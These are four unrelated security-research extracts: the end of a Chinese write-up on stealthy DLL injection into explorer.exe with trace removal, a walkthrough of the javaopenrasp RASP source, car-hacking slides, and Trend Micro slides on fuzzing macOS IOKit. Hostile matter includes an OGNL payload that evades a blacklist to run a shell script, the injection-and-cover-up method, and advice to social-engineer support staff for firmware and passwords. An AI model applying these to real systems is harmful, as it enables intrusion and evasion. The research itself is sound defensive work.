崩溃,因为我们是调⽤ SetWindowsHookEx 设置的消息钩⼦,我们传⼊的 hook procedure 也并⾮⼀个钩⼦处理函数,它并不会调⽤ CallNextHookEx ,就导致被注⼊的进程⽆法响应 相关的消息,甚⾄运⾏异常代码⽽崩溃,这样会导致获取的session挂掉, 因此这⾥也需要对 hook procedure 进⾏代码patch。 这⾥就是使⽤传统的shellcode的写法,就是获取 PEB ,遍历dll,然后加载 CallNextHookEx 并调⽤,这⾥使⽤了 lazy_import 的宏 LI_FN ,他是可以⾃动展开为 shellcode的,不需要⾃⼰再写了。 主程序 加载相关 RWX-S的模块,解析PE结构,获取相关的地址: 设置消息钩⼦,进⾏dll注⼊。 我这⾥sleep了200秒,然后卸载掉钩⼦,这个时间⻓度⾜够 explorer.exe 触发 WH_GETMESSAGE 消息,并上线了。 当钩⼦被卸载之后, KbdEditDllPremium.dll 也会从内存中卸载,此时主程序其实可以直 接删掉 KbdEditDllPremium.dll 进⾏彻底的毁⼫灭迹。 内存⾥虽然已经没有了 KbdEditDllPremium.dll 模块,但是却依然不影响我们的session交 互,因为此时的恶意代码运⾏在 explorer.exe 申请的堆空间上。 这对于⼊侵痕迹的隐藏是⾮常有⽤的⼀个技巧。 补充说明 最后还需要再补充⼀下,因为要在此项⽬中要编译⽣成shellcode,所以要对⼀些编译选项就 ⾏⼀些调整,防⽌⽣成的代码⽆法在其他进程空间中运⾏。 运⾏库选择MT,然后禁⽤GS保护。 代码优化也需要调整⼀下。 最后扩展⼀句:如果⽆法找到⼀个已经签名的RWX-S权限的dll,我们甚⾄可以修改系统的dll 添加S权限,然后保存到临时⽬录,注⼊完成之后删除掉。 为了避免安全⻛险,代码以及有RWX-S权限的签名DLL就不发源⽂件了,如果感兴趣,可以 联系我获取。
pdf
xbeark-javaopenrasp源码阅读 项⽬地址 https://github.com/xbeark/javaopenrasp 简介 随便看了下,这个算是不太难,并且适合我这种初学者啰,简单看看ReadMe可以发现实现 了⼀些基本功能,这⾥我们了解他的基本实现思路即可 阅读本项⽬⽤到的ASM相关前置知识 btw,只搞⼀些⽐较重要的点,⾸先我们知道在ASM CORE API当中有⼏个⽐较重要的点是 ClassReader、ClassVisitor、ClassWriter以及AdviceAdapter,这⾥不会讲代码怎么写,只是告诉 这是⼲嘛的便于对代码架构的理解 ClassReader/ClassWriter 稍微不是那么重要⼀点,这⾥只说⼀下具体作⽤,它负责读取.class⽂件⾥的内容,然后拆分 成各个不同的部分(其实就是与类⽂件的组成有关,这⾥对代码理解没意义),ClassWriter也 真是将拆分的部分重新组合 ClassVisitor ClassVisitor是访问者模式的逻辑 在ClassVisitor类当中,定义了多个visit开头的⽅法,这些⽅法的参数也与ClassFile结构密切相 关。这些⽅法,遵循⼀定的调⽤顺序,来⾃官⽅⽂档 当然这⾥有必要对其中⼀些东西做个简单说明 [] : 表⽰最多调⽤⼀次,可以不调⽤,但最多调⽤⼀次 () 和 | : 表⽰多个⽅法之间,可以选择任意⼀个,并且多个⽅法之间不分前后顺序 * : 表⽰⽅法可以调⽤0次或多次 visit [visitSource][visitModule][visitNestHost][visitPermittedSubclass] [visitOuterClass] ( visitAnnotation | visitTypeAnnotation | visitAttribute )* ( visitNestMember | visitInnerClass | visitRecordComponent | visitField | visitMethod )* visitEnd AdviceAdapter 在AdviceAdapter类的⽅法中,定义了两个重要的⽅法:onMethodEnter()⽅法和onMethodExit() ⽅法,顾名思义 onMethodEnter:在⽅法进⼊时,添加⼀些代码逻辑 onMethodExit:在⽅法退出时,添加⼀些代码逻辑 因此我们可以通过实现⾃定义AdviceAdapter,在⽅法体进⼊的部分(onMethodEnter)插⼊我们 的拦截代码实现监控 ok⼤致扫盲了⼀遍,可以去深⼊阅读源码了 源码阅读正⽂ ⾸先关注 xbear.javaopenrasp.Agent ,可以看见只实现了 premain 的⽅式,也就是启动 前加载 配置初始化 public class Agent {    public static void premain(String agentArgs, Instrumentation inst)            throws ClassNotFoundException, UnmodifiableClassException {        Console.log("init");        init();        inst.addTransformer(new ClassTransformer());   }    private static boolean init() {        Config.initConfig();        return true;   } } 删除了部分没必要的影响阅读的代码 ⾸先是配置的初始化 init ,调⽤的 是 xbear.javaopenrasp.config.Config#initConfig ,⾸先通过 readConfig ⽅法将配 置⽂件内容读⼊,其实只是⼀个读⽂件的⽅法,之后会解析这个 main.config⽂件 ,这个⽂ 件内容是符合json格式 String configStr = readConfig("/main.config"); Map configMap = (Map) JSONUtils.parse(configStr); List<Map> moudleList = (List<Map>) configMap.get("moudle"); for (Map m: moudleList) { Map<String, Object> tmpMap = new ConcurrentHashMap<String, Object>(); tmpMap.put("loadClass", m.get("loadClass")); tmpMap.put("mode", m.get("mode")); tmpMap.put("whiteList", new CopyOnWriteArrayList<String>((Collection) m.get("whiteList"))); tmpMap.put("blackList", new CopyOnWriteArrayList<String>((Collection) m.get("blackList"))); moudleMap.put((String)m.get("moudleName"), tmpMap); } Console.log(moudleMap.toString()); 之后将解析好的内容保存⾄List的结构当中,之后对这个list做⼆次处理将结果保存到 moudleMap当中,其中key是需要监控的类,value是对应的⼀些其他配置参数,参数作⽤下⾯ 会详细说说 配置⽂件参数浅析 ClassTransformer 之后具体来看这个⽤户⾃⼰实现的类转换器,核⼼代码就那么⼏段,这⾥他会根据不同的类 去执⾏不同的ClassVisitor⽅法 为了⽅便讲解我们这⾥⽤ ProcessBuilder 执⾏命令的流程来做讲解啰,它对应了 xbear.javaopenrasp.visitors.rce.ProcessBuilderVisitor ,看他的 visitMethod ⽅法,可以看出来会对start⽅法做处理,具体可以看 看 ProcessBuilderVisitorAdapter moudleName:需要去监控的⼀些类 loadClass:指定对应要⽤到的ClassVisitor去做拦截或⽇志记录 mode:拦截模式,有log(只记录⽇志),black(⿊名单),block(阻断)、check(检查判断)四种 模式 whiteList:⽩名单 blackList:⿊名单 ClassReader reader = new ClassReader(classfileBuffer); ClassWriter writer = new ClassWriter(ClassWriter.COMPUTE_MAXS); ClassVisitor visitor = Reflections.createVisitorIns((String) Config.moudleMap.get(className).get("loadClass"), writer, className); reader.accept(visitor, ClassReader.EXPAND_FRAMES); transformeredByteCode = writer.toByteArray(); //xxxxx省略很多代码 可以看出做了这样⼏件事情,实例化 PrcessBuilderFilter 类(btw才发现他单词打错了), 把 ProcessBuilder 的 command 变量传⼊作为 filter ⽅法的参数,可以看到对于命令执⾏ 这个rasp的默认配置只是记录了执⾏的命令以及⼀些调⽤栈的信息并没有做拦截,这⾥同样可 以看到其他模式⽐如block直接拦截,white⽩名单模式,black⿊名单模式,log⽇志记录 @Override public MethodVisitor visitMethod(int access, String name, String desc,                                 String signature, String[] exceptions) {  MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions);  if ("start".equals(name) && "()Ljava/lang/Process;".equals(desc)) {    mv = new ProcessBuilderVisitorAdapter(mv, access, name, desc); }  return mv; } 浅谈⼀些缺点 时间有限,暂时不想对这个做更多了解,主要是新⼈为了学习第⼀篇rasp做了解,⾸先是⼀些 功能点的实现缺点,⽐如对于⿊名单 可能在⼤部分场景下没问题的,但是既然是⼀个通⽤的类,那肯定有不通⽤的绕过点,⽐如 对于Ognl表达式我们完全可以像这样去绕过这个简单的字符串查找 参考⽂章 https://zhishihezi.net/b/5d644b6f81cbc9e40460fe7eea3c7925 http://wjlshare.com/archives/1582 public static boolean isBlack(String moudleName, String testStr) { List<String> blackList = (List<String>) moudleMap.get(moudleName).get("blackList"); for (String black: blackList) { if (testStr.trim().toLowerCase().indexOf(black.trim().toLowerCase()) > -1) { return true; } } return false; } #this.getClass().forName("jav"+"a.lang.Runtime").getMethods[12].invoke(#th is.getClass().forName("jav"+"a.lang.Runtime").getMethods[6].invoke(),"/tmp /aaa.sh")
pdf
国 产 智 能 网 联 汽 车 漏 洞 挖 掘 中 的 几 个 突 破 点 马良 绿盟科技 格物实验室 安全研究员 自我介绍 马良 绿盟科技 格物实验室 安全研究员 十多年嵌入式软、硬件开发经验, 喜欢DIY一些东西  2016 - Xpwn:西门子PLC蠕虫演示  2018 - 看雪开发者大会:智能设备固件提取的十种方法  2018 - 极棒:机器特工挑战赛,关闭激光报警器电源、窃听器放置、气球遮挡摄像头等  2018 - JD-HITB:介绍Vocore2模块在安全研究中的应用,提出一种工控设备攻击模型  2021 - 极棒《我是极客》:改装电源插座, 通过4G用电力猫安全缺陷远程控制内网设备 1 概 述 2 3 4 常用的几个小工具 汽车工程模式与固件提取 目 录 典型案例分享 概 述  常用软硬件  固件提取  工程模式  案例  IVI(车载信息娱乐系统)  ADAS(辅助驾驶) 1 概 述 2 3 4 常用的几个小工具 汽车工程模式与固件提取 目 录 典型案例分享 测车常用工具 出去测试车,一般要带一些工具,例如:  各种接口的USB线  USB转TTL模块(各种常见电压:、5V/3.3V/1.8V)  各种容量的tf卡和读卡器、U盘  网络抓包的HUB,车载以太网转换器  Wi-Fi抓包环境、蓝牙抓包环境  CAN总线抓包、分析和重放的软件和硬件  CAN总线Fuzz模块  HarkRF One with Portapack H2 或 其它SDR  调试用的安卓手机(Root、装好各种调试软件),各种APK分析工具 CAN总线收发和Fuzz工具 USBTin  软硬件开源(www.fischl.de/usbtin)  CAN协议探测(USBtinViewer)  Fuzz工具:CanToolz Wi-Fi快速抓包环境搭建 受控的可抓包热点,用于各种智能设备测试  硬件: 随身Wi-Fi  笔记本电脑+手机USB口共享流量  Wireshark/Fiddler4嗅探、重放、解密 笔记本电脑 USB1 USB2 手机 开网络流量共享 随身Wi-Fi 被测设备 HarkRF One with Portapack H2(SDR) 用于智能设备无线测试  无线流量的频段嗅探  无线流量的抓取和重放  GPS的模拟  软件: Universal Radio Hacker(URH) 1 概 述 2 3 4 常用的几个小工具 汽车工程模式与固件提取 目 录 典型案例分享 工程模式与固件提取:内容摘要  经费预算少,研究车联网,去哪里买车联网部件?  如何确定未知电路板的电源引脚、CAN引脚、以太网引脚?  车厂是怎么开发、调试和维护的汽车系统的?  安全研究员一般怎么进入系统内部?  怎么搞到对应车型的固件升级包?  进入工程模式有密码,怎么办?  固件有哪些常见的风险点? 找研究目标  买整车  租车  广州陈田村一日游  咸鱼  后装/改装市场  4S店  报废车、事故车渠道 某车 IVI 接口定义  电源  USB  CAN 智能设备的电源原理图  输入是5V电源  D1作用是防止电源反接。  C01、C02是电源输入滤波电容;  C03、C04是输出滤波电容。  VDD3.3是3.3V电源 没官方资料,找电源引脚的办法  电源电压一般是12V,也可向卖家确认  万用表先找到“地”--- GND 电路板上的“地”一般都是连在一起的 “地”一般和大块铜皮相连 CPU旁边的小电容一般有一端接“地” 每个芯片都要接“地”  一般有大电容且集中的地方是电源电路  “地”和VCC一般走线比较粗  VCC可能经过一个大的二极管(防接反)  VCC经过稳压等芯片转换成其它电压(可查手册确认)  金属外壳的接插件一般外壳焊在板子上的一般都是GND GND VCC 没官方资料,找电路通信引脚的办法  CAN管脚一般通过电感和CAN控制芯片连接  以太网引脚一般和以太网PHY芯片连接  查找对应芯片的手册,知道芯片功能  如果看不清芯片型号,可以用手机微距镜头拍摄  如果手机没有微距镜头,可以买外置微距镜头  观察芯片标识: 也可买专门的电子显微镜 固件提取中,破解芯片保护或绕过登陆的方法  《智能设备漏洞挖掘中的几个突破点》,发现大家感兴趣的是固件提取方法  电压故障注入:《敲开芯片内存保护的最后一扇门》付鹏飞  电磁故障注入:PicoEMP(github.com/newaetech/chipshouter-picoemp) 电磁故障注入场景 汽车工程模式 汽车内置的一种模式。用在开发、生产测试、维护等场合。进入可能要密码,功能如下:  可以开调试模式(例如:打开安卓系统的ADB shell)  导出一些内部日志(一般导出到U盘)  查看和修改汽车的一些参数配置  汽车仪表的自我诊断  进行本地升级操作 以下是某款车工程模式菜单: 另一款汽车的工程模式 工程模式本身不是漏洞,是我们进入汽车内部继续研究的一个途径。 如何进入汽车工程模式 获取当前研究车型的工程模式,有很多种方法,例如:  厂家官网文档(一般较少提及)  尝试 在安卓:系统->版本信息 多次点击版本号  如果工程模式有密码, 逆向固件获取密码  搜索引擎查找工程模式和进入密码  淘宝/咸鱼搜索车型对应固件  找厂家客服,社工获取  找上游的系统软件开发商客服,社工  4S店获取 社工客服拿到汽车升级包和工程模式进入方法 通过逆向汽车升级包发现工程模式密码 进入原生安卓模式 极少汽车还可进入原生安卓模式,看到更多的系统内容,例如:  有时会有内部测试软件,正式界面中未启用  权限比较高,更方便调试。  找可以控制车运动状态的应用软件,分析和提取通讯协议  容易找到危及行驶安全的风险点  也可安装抓包和安全测试软件 硬件调试接口的寻找 进入工程模式以后,调试接口一般有以下几种:  电路板上的调试串口  USB专用调试口  插U盘的USB口,其处于从模式(SLAVE)  TF卡可能导出调试日志或其它信息  Wi-Fi/网口尝试连adb服务  硬件串口和JTAG口探测工具JTAGulator 常用的adb 命令 IVI和ADAS进后,一般是安卓系统,以下是常用adb命令:  adb devices  adb connect ip:5555  adb shell (或adb -s 123456789ABCDEF shell)  adb logcat  adb install Root.apk # 安装应用  adb pull /data/local/temp/test.pcap d:\ # 复制 安卓文件 到 电脑  adb push “C:\Users\ml\Root.apk” /mnt/sdcard/ # 复制 电脑文件 到 安卓 启动网络adb调试 打开网络调试  # setprop service.adb.tcp.port 5555  # stop adbd  # start adbd 关闭网络调试  #stop adbd  #setprop service.adb.tcp.port -1  #start adbd 固件提取 IVI和ADAS进去以后,一般是安卓系统,以下是常用固件提取命令:  ps –aux  netstat -atnp  df -h 第一种方法提取固件  dd if=/dev/mtd0 of=/tmp/SD0/mtd0.bin 第二种方法提取固件(有遗漏或文件系统不好解压缩)。  tar -cvpf /mnt/SD0/root.tar / --exclude="sys" --exclude="proc" --exclude="tmp" 固件的文件拆解与符号表恢复  固件中一些文件系统的拆解:熟悉常见嵌入式文件系统;编程解决问题  几种高效恢复固件符号表的方法 《一种高效识别VxWorks库函数的方法》(撰写中) 固件风险点 进入系统后台,一般会查看系统风险点,例如:  运行了哪些进程  开启了哪些端口  有没有厂家开发人员留下的调试手段/后门  和哪些云端的主机通讯  应用商店使用抓包  App使用抓包  远程控制App抓包、尝试了解业务  模块与模块之间的通讯协议逆向 1 概 述 2 3 4 常用的几个小工具 汽车工程模式与固件提取 目 录 典型案例分享 采用不安全的通讯协议 危害:  如果协议没有加密保护,在传输过程中容易被篡改  通过简单的抓包,就可获取登录用户名和密码 案例:  中间人攻击:本来安装一个应用商店的软件,结果安装了替换后的软件  抓包发现某应用商店用了FTP协议。抓包获取用户名和密码,进入App商店云端 可增删改应用商店的所有apk包 采用不安全的通讯协议(续)  抓取协议和逆向App  找到可修改行车状态的指令,搞清了汽车内部的通信协议。  发送指令,可以实时修改汽车运行状态,从而影响行车安全 密钥保存不当 下面的密钥保存方案是不安全的:虽然采用了一些加密手段。  固件中保存云端密钥等登录凭据  App中保存云端密钥等登录凭据 案例:  某系统内部配置文件加密。逆向其so文件后,找到了加密的密钥和算法 解密后,发现很多系统内部的密钥和口令,甚至可以登录到云端  某安卓App,密钥保存不当,导致可进入云端,看到用户上传的身份证等隐私内容 总结 对厂商来说,要综合考虑的东西很多,修复周期长,任重而道远  软件供应商团队可能已经解散, 或不再维护  车型较老,漏洞可能不准备修复  遗留问题多,牵一发而动全身  有的漏洞无法远程修复  由于时间有限,本次只是讲了几个常见的案例。但引发的后果挺严重 谢 谢
pdf
2013 Trend Micro 25th Anniversary --Fuzzing with context enlightenment and exploit OSX IOKit vulnerabilities for fun and profit (P)FACE into the Apple core and exploit to root 2013 Trend Micro 25th Anniversary Agenda • Who we are • Passive fuzzing framework • Context enlightenment • Exploit to root 2013 Trend Micro 25th Anniversary Who are we • Jack Tang: • 10 years of anti-malware solution development • Familiar with Windows/Mac kernel technology, browser and document exploit. • Current focusing on research about Mac vulnerability and exploit • Moony Li: • 7 years of security production development • RD Leader of Sandcastle core engine of DD(Deep Discovery) production for Gateway 0day exploit detection. • Current focusing on research about Mac/Windows kernel vulnerability and exploit 2013 Trend Micro 25th Anniversary And so what? • Here below is the CVE and ZDI list until now(NOT including submitted but pending): • CVE-2015-3787, CVE-2015-5867, CVE-2015-7021,CVE-2015-7020, CVE-2016-1716,ZDI-CAN-3536,ZDI-CAN-3558, ZDI-CAN-3598,ZDI- CAN-3596,ZDI-CAN-3603,CVE-2015-7067, CVE-2015-7076,CVE- 2015-7106,CVE-2015-7109,CVE-2016-1718,CVE-2016-1747,CVE- 2016-1749,CVE-2016-1753, ZDI-CAN-3693, ZDI-CAN-3694, CVE- 2016-1795, CVE-2016-1808, CVE-2016-1810, CVE-2016-1817, CVE-2016-1820, CVE-2016-1798, CVE-2016-1799, CVE-2016-1812, CVE-2016-1814, CVE-2016-1818, CVE-2016-1816 2013 Trend Micro 25th Anniversary Phase x: Fuzzing framework 2013 Trend Micro 25th Anniversary Agenda • Passive fuzzing framework – Previous work – Approach & consideration – Implementation – Best Practice 2013 Trend Micro 25th Anniversary Previous work 1/2 • Traditional fuzzing by IOKit interface Usually open the IOKit service name which they want to test, and pour fuzzing data into by the IOKit usermode API (e.g. IOConnectCallMethod) –Call sequence dependency • AppleCamIn (OpenDevice, PowerOnCamera…) –Input data dependency • AppleHDAEngineInput(input as user mode buffer pointer) –Timing dependency • IOHDIXHDDriveOutKernel( mount dmg) 2013 Trend Micro 25th Anniversary Previous work 2/2 • Code review of target kernel extension This costs much effort to reverse engineering binary code and in the face of so many IOKit services and userclient. -Un-scalable -Cost effort RE (upgrade) 2013 Trend Micro 25th Anniversary Approach & Re-thinking http://www.chinapoesy.com/gongxiangaebf830f- e011-4375-9312-af80aa2f184a.html 2013 Trend Micro 25th Anniversary Approach & Re-thinking • http://s1.sinaimg.cn/large/48f6d2f7gd04bcc333b70&690 2013 Trend Micro 25th Anniversary Passive & Context • “Passive” – means we don’t generate data to pour to interface from user mode. Whereas, we only trace at some key point in the kernel processing IOKit input data from user mode and tamper the data at proper time and location with restricted condition. •“Context” – means a pattern in which scenario suspicious vulnerability is more likely to be existing. 2013 Trend Micro 25th Anniversary Architecture overview Origianl function Hooker IOAcceleratorFamily2.kext Targeted application from apple store Suspicious module/function manifest IOThunderboltFamily.kext IOUSBFamily.kext AppleGraphicsPowerManagement.kext AppleHDA.kext … … I. is_io_connect_method II. is_io_connect_async_method III. iokit_user_client_trap IV. IOMemoryDescriptor::createMappingInTask V. ipc_kmsg_get VI. ipc_kmsg_send VII. Copyio …... Conditon Checker Ring3 Ring0 Target drivers XNU/ IOKit Tamper StackFrame, Process, UserClient, MsgID, …... Context Matcher 2013 Trend Micro 25th Anniversary Pseudo TargetAPI(params): //Call Original_TargetAPI(params) if (!ConditionChecker(params)) goto _exit(); if (ContextMatcher(params)) report alert; if (random()) tamper(params); Call Original_TargetAPI(params); 2013 Trend Micro 25th Anniversary Hooker & Tamper • The hooker – Direct taint-able from user – Hook one for many processes • Inline hook in kernel mode. • Tamper – Only fuzzing the buffer content touchable by user • Inband_input, scalar_input, ool_input • NOT size 2013 Trend Micro 25th Anniversary Layered Hook 2013 Trend Micro 25th Anniversary Snappet (lldb) showcurrentstacks Backtrace: kernel_stack = 0xffffff8876790000 stacktop = 0xffffff8876793430 0xffffff8876793430 0xffffff801679e37e Debugger((const char *) message = <>, ) 0xffffff88767934b0 0xffffff80166838c7 panic((const char *) str = <>, ) 0xffffff8876793690 0xffffff8016798fd9 panic_trap [inlined]((x86_saved_state64_t *) regs = <>, , (uint32_t) pl = <>, ) 0xffffff8876793690 0xffffff8016798daf kernel_trap((x86_saved_state_t *) state = <>, , (uintptr_t *) lo_spp = <>, ) 0xffffff88767936b0 0xffffff80167b7d83 kernel.development`trap_from_kernel + 0x26 0xffffff88767937f0 0xffffff801650e05b kernel.development`memcpy + 0xb 0xffffff88767937f0 0xffffff7f0000000f None + 0xffffff7f0000000f 0xffffff8876793830 0xffffff7f96ed7d4d com.vmware.kext.VMwareGfx + 0x6d4d 0xffffff88767938d0 0xffffff8016cb9657 ::shim_io_connect_method_scalarI_scalarO(IOExternalMethod *, IOService *, const io_user_scalar_t *, mach_msg_type_number_t, io_user_scalar_t *, mach_msg_type_number_t *)((IOExternalMethod *) method = <>, , (IOService *) object = <>, , (const io_user_scalar_t *) input = <>, , (mach_msg_type_number_t) inputCount = <>, , (io_user_scalar_t *) output = <>, , (mach_msg_type_number_t *) outputCount = <>, ) 0xffffff8876793930 0xffffff8016cbbe28 IOUserClient::externalMethod(unsigned int, IOExternalMethodArguments*, IOExternalMethodDispatch*, OSObject*, void*)((IOUserClient *) this = <>, , (uint32_t) selector = <>, , (IOExternalMethodArguments *) args = <>, , (IOExternalMethodDispatch *) dispatch = <>, , (OSObject *) target = <>, , (void *) reference = <>, ) 0xffffff8876793a70 0xffffff8016cb8f67 ::is_io_connect_method(io_connect_t, uint32_t, io_user_scalar_t *, mach_msg_type_number_t, char *, mach_msg_type_number_t, mach_vm_address_t, mach_vm_size_t, char *, mach_msg_type_number_t *, io_user_scalar_t *, mach_msg_type_number_t *, mach_vm_address_t, mach_vm_size_t *)((io_connect_t) connection = 0xffffff88767939b0, (uint32_t) selector = 10, (io_user_scalar_t *) scalar_input = <>, , (mach_msg_type_number_t) scalar_inputCnt = <>, , (char *) inband_input = <>, , (mach_msg_type_number_t) inband_inputCnt = 0, (mach_vm_address_t) ool_input = <>, , (mach_vm_size_t) ool_input_size = <no location, value may have been optimized out>, , (char *) inband_output = <no location, value may have been optimized out>, , (mach_msg_type_number_t *) inband_outputCnt = <no location, value may have been optimized out>, , (io_user_scalar_t *) scalar_output = <>, , (mach_msg_type_number_t *) scalar_outputCnt = <no location, value may have been optimized out>, , (mach_vm_address_t) ool_output = <>, , (mach_vm_size_t *) ool_output_size = <>, ) 0xffffff8876793c40 0xffffff7f986a8f74 trampline_is_io_connect_method((io_connect_t) connection = 0xffffff801fbc0600, (uint32_t) selector = 10, (io_user_scalar_t *) scalar_input = 0xffffff801eeb9910, (mach_msg_type_number_t) scalar_inputCnt = 2, (char *) inband_input = 0xffffff801eeb9924 "", (mach_msg_type_number_t) inband_inputCnt = 0, (mach_vm_address_t) ool_input = 0, (mach_vm_size_t) ool_input_size = 0, (char *) inband_output = 0xffffff801d6ac600 "", (mach_msg_type_number_t *) inband_outputCnt = 0xffffff801d6ac5fc, (io_user_scalar_t *) scalar_output = 0xffffff8876793ca0, (mach_msg_type_number_t *) scalar_outputCnt = 0xffffff8876793c9c, (mach_vm_address_t) ool_output = 0, (mach_vm_size_t *) ool_output_size = 0xffffff801eeb9944) 0xffffff8876793d50 0xffffff801675c050 _Xio_connect_method((mach_msg_header_t *) InHeadP = <>, , (mach_msg_header_t *) OutHeadP = 0xffffff801d6ac5d0) 0xffffff8876793d80 0xffffff8016687f73 ipc_kobject_server((ipc_kmsg_t) request = 0xffffff801eeb9880) 0xffffff8876793dc0 0xffffff8016663ea3 ipc_kmsg_send((ipc_kmsg_t) kmsg = <>, , (mach_msg_option_t) option = <>, , (mach_msg_timeout_t) send_timeout = 0) 0xffffff8876793e50 0xffffff7f9869f6dd trampline_ipc_kmsg_send((ipc_kmsg_t) kmsg = 0xffffff801eeb9880, (mach_msg_option_t) option = 3, (mach_msg_timeout_t) send_timeout = 0) 0xffffff8876793ec0 0xffffff801667a4c5 mach_msg_overwrite_trap((mach_msg_overwrite_trap_args *) args = <>, ) 0xffffff8876793f10 0xffffff7f986a345c trampline_mach_msg_overwrite_trap((mach_msg_overwrite_trap_args *) args = 0xffffff8876793f28) 0xffffff8876793fb0 0xffffff80167828e0 mach_call_munger64((x86_saved_state_t *) state = 0xffffff801de4bca0) 0x0000000000000000 0xffffff80167b85a6 kernel.development`hndl_mach_scall64 + 0x16 stackbottom = 0xffffff8876793fb0 2013 Trend Micro 25th Anniversary Hook Summary • (Driver interface)is_io_connect_method • (Driver interface)is_io_connect_async_method • (Kernel)iokit_user_client_trap • (Kernel)IOMemoryDescriptor::createMappingInTask • (Mach Msg)ipc_kmsg_get • (Mach Msg)ipc_kmsg_send • (General IO)Copyio • … 2013 Trend Micro 25th Anniversary Why condition checker 1. Keep fuzzing stable - Get rid of noise (busy call, reproduced crashes) 2. Hunt vulnerability according to context 2013 Trend Micro 25th Anniversary Dimension of condition 1/3 • &&, ||, *(wild match), white(black) • Process – User id (root/Non-root) – Process Name (e.g. Safari, RCE, sandbox-evasion) • Module – Module Name • Function – Symbol Name/Address – Offset range 2013 Trend Micro 25th Anniversary Dimension of condition 2/3 • Data – is_address_RWX – Copy direction(in/out) – Kernel or User space (SMAP noise) • Call-Stack – Function ret – Stack Level (from bottom to top) – Level range[,] 2013 Trend Micro 25th Anniversary Dimension of condition 3/3 • Misc – Mach_msg • msg subsystem id… – Userclient • serviceName,ClassName,selector… 2013 Trend Micro 25th Anniversary Stack Frame Condition Sample stack_match_item_t stack_matcher_for_copyio[]={ //If any item in list match, then match //{routineName, cache}, routineAddress, offSetFrom, offsetTo, levelLow, levelHigh {{"_shim_io_connect_method_scalarI_scalarO",STACK_ANY_INTEGER},STACK_ANY_INTEGER,0, 0xC120-0xB8B0, STACK_ALL_LEVEL_RANGE}, {{"_shim_io_connect_method_scalarI_structureO",STACK_ANY_INTEGER},STACK_ANY_INTEGER, 0, 0xDB94-0xD5C0, STACK_ALL_LEVEL_RANGE}, {{"_shim_io_connect_method_scalarI_structureI",STACK_ANY_INTEGER},STACK_ANY_INTEGER,0, 0xEA97-0xE490, STACK_ALL_LEVEL_RANGE}, {{"_shim_io_connect_method_structureI_structureO",STACK_ANY_INTEGER},STACK_ANY_INTEGE R,0, 0xF588-0xF270, STACK_ALL_LEVEL_RANGE}, {{"_is_io_connect_method",STACK_ANY_INTEGER},STACK_ANY_INTEGER,0, 0xb2a9- 0xaf10,STACK_ALL_LEVEL_RANGE}, } 2013 Trend Micro 25th Anniversary UserClient Condition Sample detail_control_entry_t g_white_listing_detail_control[] ={ // procName,uid,driverBundleName, driverClassName, selFunctionNO //{"*",PROCESS_UID_ANY_INTEGER,"*","AGPMClient",7312},, {"*",PROCESS_UID_ANY_INTEGER,"*","IGAccelSharedUserClient",1},//crash-24 {"*",PROCESS_UID_ANY_INTEGER,"*","AccelSurface",16},//crash-23 {"*",PROCESS_UID_ANY_INTEGER,"*",OBJECT_CLASS_NAME_NO_FOUND,16}, {"*",PROCESS_UID_ANY_INTEGER,"*","HD",2},//crash-21 {"*",PROCESS_UID_ANY_INTEGER,"*","IX",2},//crash-21 "*",PROCESS_UID_ANY_INTEGER,"*","AGPM",7312,//crash-11 "*",PROCESS_UID_ANY_INTEGER,"*","IGAccelGLContext",2,//crash-28 2013 Trend Micro 25th Anniversary Mach-msg Condition Sample #define KMSG_IOKIT_SUBSYSTEM_RANGE 0xAF0, 0x0B47 detail_control_entry_for_ipc_kmsg_send_t g_black_listing_detail_control_foripc_kmsg_send[] ={ //procName,uid,msg_id_from, msg_id_to, routineName, addr, addr_offset_from, addr_offset_to "chrome",PROCESS_UID_ANY_INTEGER, KMSG_IOKIT_SUBSYSTEM_RANGE,"__Xio_connect_method",KMSG_ADDR_OFFSET_ANY_RANGE,KM SG_LEAVING,}; • #define KMSG_IOKIT_SUBSYSTEM_RANGE 0xAF0, 0x0B47 • #define KMSG_MACH_VM_SUBSYSTEM_RANGE 0x12C0, 0x12D4 • #define KMSG_MACH_PORT_SUBSYSTEM_RANGE 0xC80, 0x0CA4 • #define KMSG_MACH_HOST_SUBSYSTEM_RANGE 0xC8, 0xE4 • #define KMSG_HOST_PRIV_SUBSYSTEM_RANGE 0x190, 0x1AA • …… 2013 Trend Micro 25th Anniversary What’s Context • Pattern accumulated in bug hunting experience • Shedding more enlighten for code review – Buggy module, interface for RE. • Not vulnerability but indicating suspicious vulnerability • Implemented through condition checker 2013 Trend Micro 25th Anniversary Context Sample • Some IOKit related memory corruption vulnerabilities would happen in the following context: – Call IOMemoryDescriptor :: createMappingInTask to mapping user mode buffer space to kernel mode. – Read a value from the buffer and use it as a size to read or write a buffer. • Some kernel information leak vulnerability would happen in the following context: – The output buffer’s content has 0xFFFFFF prefix. 2013 Trend Micro 25th Anniversary Best Practice 1/3 • Fuzzing Source: – Multiple application • AppStore (MMORPG games, FaceTime,USB hardisk, BlueTooth, Wifi, VM,DirectX…) • Virus Total, Apple OpenSource UT, github sample code – Combination of rich kind of fuzzing source • Active fuzzing, Python watchdog, browsing WebGL • Fuzzing Stability: – Bypass active hang, black screen, reproduced cases using condition checker(nvTestlaSurfaceTesla, IGAccelGLContext, IGAccelSurface…) 2013 Trend Micro 25th Anniversary Best Practice 2/3 • Reproduction: – Log through network – Log to NVRAM? Log to memory and kdp_panic_dump callback? – Core dump server • sh-3.2# nvram boot-args=”pmuflags=1 debug=0xd44 kext-dev-mode=1 kcsuffix=development –v _panicd_ip=10.64.80.106” – Thunderbolt+fwkdp+lldb • Automation – kdp_panic_dump callback+dump+reboot – VM(Vmware fusion…) revert 2013 Trend Micro 25th Anniversary Best Practice 3/3 • Misc: – Keep fuzzing not SO busy(random maybe) – Hot run and fuzz on demand – Keep OS update with KDK 2013 Trend Micro 25th Anniversary Phase x: Exploit to root 2013 Trend Micro 25th Anniversary Obstacle • SIP (System Integrity Protection) • KALSR (Kean Team method) • SMAP • SMEP https://speakerdeck.com/marcograss/dont-trust-your-eye-apple- graphics-is-compromised 2013 Trend Micro 25th Anniversary • A trick to do OSX kernel Heap Feng Shui • Exploit to root with founded bugs 2013 Trend Micro 25th Anniversary OSUnserializeXML • The OSX/iOS hacking guru Stefan Esser (@i0n1c) propose OSUnserializeXML is a good way in SyScan 2012 https://reverse.put.as/wp- content/uploads/2011/06/SyScan2012_StefanEsser_iOS_Kernel_Heap_Armageddon.pdf 2013 Trend Micro 25th Anniversary OSUnserializeXML cont. • But in the most case, the OSDictionary is allocated by OSUnserializeXML will be freed by OSObject::release in one system call 。。。 2013 Trend Micro 25th Anniversary 